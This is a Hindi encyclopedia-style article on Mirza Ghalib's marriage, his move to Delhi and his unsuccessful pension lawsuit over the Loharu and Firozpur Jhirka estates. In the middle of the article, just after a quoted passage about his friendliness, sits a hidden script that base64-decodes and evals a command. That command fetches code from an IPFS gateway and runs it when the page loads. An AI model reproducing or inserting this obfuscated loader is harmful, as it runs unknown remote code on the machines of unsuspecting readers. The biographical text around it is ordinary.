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ग़ालिब का व्यक्तित्व

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ग़ालिब

जब असदउल्ला ख़ाँ ग़ालिब' सिर्फ़ 13 वर्ष के थे, इनका विवाह लोहारू के नवाब 'अहमदबख़्श ख़ाँ' (जिनकी बहन से इनके चचा का ब्याह हुआ था) के छोटे भाई 'मिर्ज़ा इलाहीबख़्श ख़ाँ ‘मारूफ़’ की बेटी 'उमराव बेगम' के साथ 9 अगस्त, 1810 ई. को सम्पन्न हुआ था। उमराव बेगम 11 वर्ष की थीं। इस तरह लोहारू राजवंश से इनका सम्बन्ध और दृढ़ हो गया। पहले भी वह बीच-बीच में दिल्ली जाते रहते थे, पर शादी के 2-3 वर्ष बाद तो दिल्ली के ही हो गए। वह स्वयं ‘उर्दू-ए-मोअल्ला’ (इनका एक ख़त) में इस घटना का ज़िक्र करते हुए लिखते हैं कि-
"7 रज्जब 1225 हिजरी को मेरे वास्ते हुक्म दवा में हब्स[1] सादिर[2] हुआ। एक बेड़ी (यानी बीवी) मेरे पाँव में डाल दी और दिल्ली शहर को ज़िन्दान[3] मुक़र्रर किया और मुझे इस ज़िन्दाँ में डाल दिया।"

आकर्षक व्यक्तित्व

मुल्ला अब्दुस्समद 1810-1811 ई. में अकबराबाद आए थे और दो वर्ष के शिक्षण के बाद असदउल्ला ख़ाँ (ग़ालिब) उन्हीं के साथ आगरा से दिल्ली गए। दिल्ली में यद्यपि वह अलग घर लेकर रहे, पर इतना तो निश्चित है कि ससुराल की तुलना में इनकी अपनी सामाजिक स्थिति बहुत हलकी थी। इनके ससुर इलाहीबख़्श ख़ाँ को राजकुमारों का ऐश्वर्य प्राप्त था। यौवन काल में इलाहीबख़्श की जीवन विधि को देखकर लोग उन्हें ‘शहज़ाद-ए-गुलफ़ाम’ कहा करते थे। इससे अन्दाज़ा लगाया जा सकता है कि, उनकी बेटी का पालन-पोषण किस लाड़-प्यार के साथ हुआ होगा। असदउल्ला ख़ाँ (ग़ालिब) शक्ल और सूरत से बड़ा आकर्षक व्यक्तित्व रखते थे। उनके पिता-दादा फ़ौज में उच्चाधिकारी रह चुके थे। इसीलिए ससुर को आशा रही होगी कि, असदउल्ला ख़ाँ भी आला रुतबे तक पहुँचेंगे एवं बेटी ससुराल में सुखी रहेगी, पर ऐसा हो न सका। आख़िर तक यह शेरो-शायरी में ही पड़े रहे और उमराव बेगम, पिता के घर बाहुल्य के बीच पली लड़की को ससुराल में सब सुख सपने जैसे हो गए।

दिल्ली का स्थायी निवास

मिर्ज़ा (ग़ालिब) के ससुर इलाहीबख़्श ख़ाँ न केवल वैभवशाली थे, वरन चरित्रवान, धर्मनिष्ठ तथा अच्छे कवि भी थे। वह 'ज़ौंक़' के शिष्यों में से एक थे। विवाह के दो-तीन वर्ष बाद ही मिर्ज़ा 'ग़ालिब' स्थायी रूप से दिल्ली आ गए और उनके जीवन का अधिकांश भाग दिल्ली में ही गुज़रा। ग़ालिब के पिता की अपेक्षा उनके चचा की हालत कहीं अच्छी थी और उनका सम्मान भी अधिक था। पिता का तो अपना घर भी नहीं था। वह जन्म भर इधर-उधर मारे-मारे फिरते रहे, जब तक रहे, घर-जमाई बनकर ही रहे। घर-जमाई का ससुराल में प्रधान स्थान नहीं होता, क्योंकि उसकी सारी स्थिति अपनी पत्नि से पायी हुई स्थिति होती है। मिर्ज़ा का बचपन ननिहाल में आराम से भले ही बीता हो, लेकिन पिता के मरने के बाद उनके जैसे भावुक बच्चे पर अपनी यतीमी का भी असर पड़ा होगा। उन्होंने कभी यह भी ख़्याल नहीं किया होगा कि मेरा इसमें क्या है। चचा की मृत्यु के बाद ये विचार और प्रबल एवं कष्टजनक हुए होंगे। यतीमी के कारण इनका ठीक राह से भटक जाना और लंफगाई करना स्वाभाविक-सा रहा होगा। दिल्ली आने का भी कारण सम्भत: यही था कि यहाँ कुछ अपना बना सकूँगा। दिल्ली आने पर कुछ समय तक तो माँ कभी-कभी उनकी सहायता करती रहीं, लेकिन मिर्ज़ा के असंख्य पत्रों में कहीं भी मामा वग़ैरा से किसी प्रकार की मदद मिलने का उल्लेख नहीं है। इसीलिए जान पड़ता है कि, धीरे-धीरे इनका सम्बन्ध ननिहाल से बिल्कुल समाप्त हो गया था।

गली क़ासिम जान, दिल्ली

ग़ालिब की निरंतर कोशिशें

Blockquote-open.gif मिर्ज़ा अत्यन्त शिष्ट एवं मित्रपराण थे। जो कोई उनसे मिलने आता, उससे खुले दिल से मिलते थे। इसीलिए जो आदमी एक बार इनसे मिलता था, उसे सदा इनसे मिलने की इच्छा बनी रहती थी। मित्रों के प्रति अत्यन्त वफ़ादार थे। Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> फ़ैसला अपने पक्ष में न आने पर भी ग़ालिब मुक़दमें में दायर की गईं अपनी माँगों पर डटे रहे और इसके लिए निरन्तर कोशिशें करते रहे। इधर उनकी ये माँगें थी, उधर लोहारू की जायदाद के बारे में खुद भाइयों में झगड़ा था। नवाब अहमदबख़्श ख़ाँ की वसीयत के अनुसार फ़ीरोज़पुर झुर्का का इलाक़ा शम्सुद्दीन अहमद ख़ाँ एवं परगना लोहारू उनके दोनों छोटे भाइयों-अमीनुद्दीन अहमद ख़ाँ एवं ज़ियाउद्दीन अहमद ख़ाँ के हिस्से में आया था। पिता की मृत्यु होते ही शम्सुद्दीन ने इस बँटवारे के विरुद्ध आवाज़ उठाई और कहा कि ज्येष्ठ पुत्र होने के नाते सारी जायदाद का अधिकार मुझे मिलना चाहिए। दूसरी सन्तति को ज़्यादा से ज़्यादा वृत्ति दिलाई जा सकती है। उन्हें एक और बहाना भी मिल गया। बात यह भी थी कि बड़े होने के कारण् लोहारू का इन्तज़ाम नवाब अमीनुद्दीन ख़ाँ के हाथ था। प्रबन्ध उन्हें सौंपते समय यह शर्त रखी गई थी कि जायदाद की आमदनी से 5210 रुपया सालाना सरकारी ख़ज़ाने में छोटे भाई नवाब ज़ियाउद्दीन के व्यय के लिए जमा कर दिया जाया करे। इसकी ओर ध्यान न दिया गया, इसीलिए शम्सुद्दीन का पक्ष प्रबल हो गया। दिल्ली के रेजीडेण्ट मिस्टर मार्टिन ने शम्सुद्दीन ख़ाँ का समर्थन किया और अन्त में सितम्बर, 1833 में लोहारू का प्रबन्ध भी शम्सुद्दीन ख़ाँ को इस शर्त पर दे दिया गया कि वह अपने दोनों भाइयों को गुज़ारे के लिए 26 हज़ार रुपये सालाना देते रहेंगे।

मार्टिन के बाद विलियम फ़्रेज़र नये रेज़ीडेण्ट होकर आए। आरम्भ में तो इनकी भी नवाब शम्सुद्दीन से अच्छी मित्रता थी, पर बाद में किसी बात पर दोनों में विरोध हो गया। फ़्रेज़र लोहारू परगना शम्सुद्दीन ख़ाँ को दिए जाने के पक्ष में नहीं थे। उन्हें यह माँग अन्यायपूर्ण लगी। इसीलिए उन्होंने पूरी चेष्टा की कि अंग्रेज़ सरकार इन प्रार्थना को ठुकरा दे, किन्तु फ़ैसला शम्सुद्दीन ख़ाँ के पक्ष में हुआ। इससे दोनों के बीच गाँठ पड़ गई। फ़ैसले के बाद भी फ़्रेज़र ने उसके विरुद्ध सरकार को लिखा और नवाब अमीनउद्दीन ख़ाँ को सलाह दी कि वह कलकत्ता जाकर प्रयत्न करे। उसकी सलाह मानकर अमीनुद्दीन ख़ाँ सितम्बर 1834 में कलकत्ता गए। ग़ालिब ने भी उन्हें अपने कलकत्ता के मित्रों के नाम परिचय पत्र दिए। इन प्रयत्नों के फलस्वरूप पहला हुक्म मंसूख़[4] हो गया और लोहारू दोनों भाइयों को पुन: मिल गया। इससे शम्सुद्दीन और फ़्रेज़र की अनबन शत्रुता में बदल गई।

सीधी पेंशन और नया प्रार्थना पत्र

22 मार्च, 1835 को फ़्रेज़र ने शाम का खाना राजा किशनगढ़ के जहाँ दरियागंज में खाया। वहाँ से उसे वापिस होने में देर हो गई। फ़्रेज़र बाड़ा हिन्दूराय में एक कोठी में रहते थे। जब रात ग्यारह बजे के लगभग वह अपने मकान को लौट रहे थे, तो मकान से थोड़ी दूर पर किसी ने उन्हें गोली मार दी। उस समय तो हत्यारा बच निकला, लेकिन फ़ौरन तमाम नाक़े बन्दी कर दी गई। जाँच होने लगी। पुलिस ने शम्सुद्दीन ख़ाँ के दरोगा शिकार करीम ख़ाँ को गिरफ़्तार किया। बाद में नवाब का एक और नौकर वसायल ख़ाँ पकड़ा गया और वह सरकारी गवाह बन गया। उसके बयान पर नवाब दिल्ली बुलाए गए और पुलिस के पहरे में रखे गए। बाद में मुक़दमा चला और 18 अक्टूबर, 1835 को गुरुवार के दिन प्रात:काल कश्मीरी दरवाज़े के बाहर उन्हें 25 वर्ष में फाँसी दे दी गई। नवाब शम्सुद्दीन ख़ाँ की फाँसी के बाद फ़ीरोज़पुर झुर्का की रियासत ज़ब्त कर ली गई और मिर्ज़ा की पेंशन जो वहाँ से मिलती थी, अब सीधे दिल्ली कलेक्टरी से मिलने लगी। सुअवसर देखकर मिर्ज़ा ने फिर एक विस्तृत प्रार्थनापत्र अंग्रेज़ सरकार की सेवा में नवाब की ज़ब्त जायदाद से पूरा हक़ पाने के लिए पेश किया। 18 जून, 1836 को पश्चिमोत्तर प्रदेश के लेफ्टिनेण्ट गवर्नर ने फ़ैसला किया कि जो साढ़े बासठ मिलते हैं, वही ठीक हैं। इस पर इन्होंने गवर्नर-जनरल के पास अपील दायर की। पर वहाँ से भी यही फ़ैसला क़ायम रहा। सब ओर से निराश हो जाने पर मिर्ज़ा ने 14 नवम्बर, 1836 को फिर से दर्ख़ास्त दी कि मेरा मुक़दमा सदर दीवानी अदालत, कलकत्ता के पास विलायत भेजा जाए। और यदि ये सम्भव न हो तो निर्णय के लिए डाइरेक्टरों के पास विलायत भेजा जाए। 5 दिसम्बर, 1836 को उन्हें फिर से उत्तर मिला कि मुक़दमें के सब काग़ज़ात विलायत भेज दिए जायेंगे और 10 मई, 1837 को ‘लावेली एलायंस’ नामक जहाज़ की डाक से विलायत भेज दिए गए।

ग़ालिब हवेली

ग़ालिब की आशावादिता

काग़ज़ात विलायत भेज दिए जाने से ग़ालिब को बड़ी खुशी हुई और उन्होंने एक फ़ारसी क़ता भी लिखा और आशान्वित होकर पुन: दर्ख़ास्त दी कि मई 1806 से आज तक हमें जितना कम मिला है और जो दो लाख तीन हज़ार होता है, वह उस दो लाख, साठ हज़ार की रक़म में से दिया जाए जो नवाब शम्सुद्दीन ने अपनी फ़ाँसी के पूर्व अंग्रेज़ ख़ज़ाने में जमा कराई थी। दूसरे हमें 3 हज़ार सालाना पेंशन का एप्रिल 1835 तक बक़ाया उस जायदाद से दिलवाया जाए जो नवाब फ़ीरोज़पुर छोड़कर मरे हैं और जब तक डाइरेक्टरों का फ़ैसला विलायते नहीं आ जाता हमें तीन हज़ार सालाना नियमित रूप से मिलता रहे। पर ग़ालिब को मानव प्रकृति का अच्छा ज्ञान नहीं था। वह समझते थे कि अंग्रेज़ ख़ुशामद से क़ाबू में किए जा सकते हैं। बहरहाल ये सब आवेदन निरर्थक सिद्ध हुए और 1842 के आरम्भ में विलायत से अन्तिम फ़ैसला भी आ गया कि जो निर्णय हिन्दुस्तान में हो चुका है, वही ठीक है। पर वाह री मिर्ज़ा की आशावादिता- इतने पर भी उन्होंने हिम्मत नहीं हारी और 29 जुलाई, 1842 को इस फ़ैसले के विरुद्ध एक अपील, मेमोरियल के ढंग पर, महारानी विक्टोरिया क पास गवर्नर-जनरल के ज़रिये भेजी। पर इसका भी कोई परिणाम नहीं निकला और 1844 में वह बिल्कुल निराश और पस्त हो गए। यहाँ यह ख़्याल रखना चाहिए कि मुक़दमा उन्होंने 1828 में दायर किया था और यह अन्तिम फ़ैसला 1844 में, 16 साल के बाद हुआ। उस ज़माने में जब कि यातायात के साधन दुर्लभ थे, उनका कितना ख़र्च इस पर पड़ा होगा, इसका अंदाज़ा लगया जा सकता है। जो कुछ भी उनके पास था, वह भी इस मुक़दमें में ही समाप्त हो गया। महाजनों के हज़ारों रुपये के क़र्ज़दार हो गए, जो इन्होंने विश्वास पर लिए थे कि मुक़दमें के फ़ैसले से हमें एक बड़ी रक़म मिल जायेगी। 1835 में ही इन पर 40-50 हज़ार का क़र्ज़ हो गया था। निर्णय इनके विरुद्ध होने से क़र्ज़ के बोझ से ऐसे दबे कि ज़िन्दगी भर उभर एवं उबर नहीं सके। ज़िन्दगी क़र्ज़ चुकाते-चुकाते बीती, फिर भी न चुका सके। कठिनाइयों के कारण गृहस्थ जीवन पहले से ही दु:खद था, अब तो उसमें बड़ी जड़ता और निराशा आ गई और उन्होंने भाग्य के आगे कन्धा डाल दिया।


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टीका टिप्पणी और संदर्भ

  1. स्थायी क़ैद
  2. जारी
  3. कारागार
  4. रद्द, निरस्त

बाहरी कड़ियाँ

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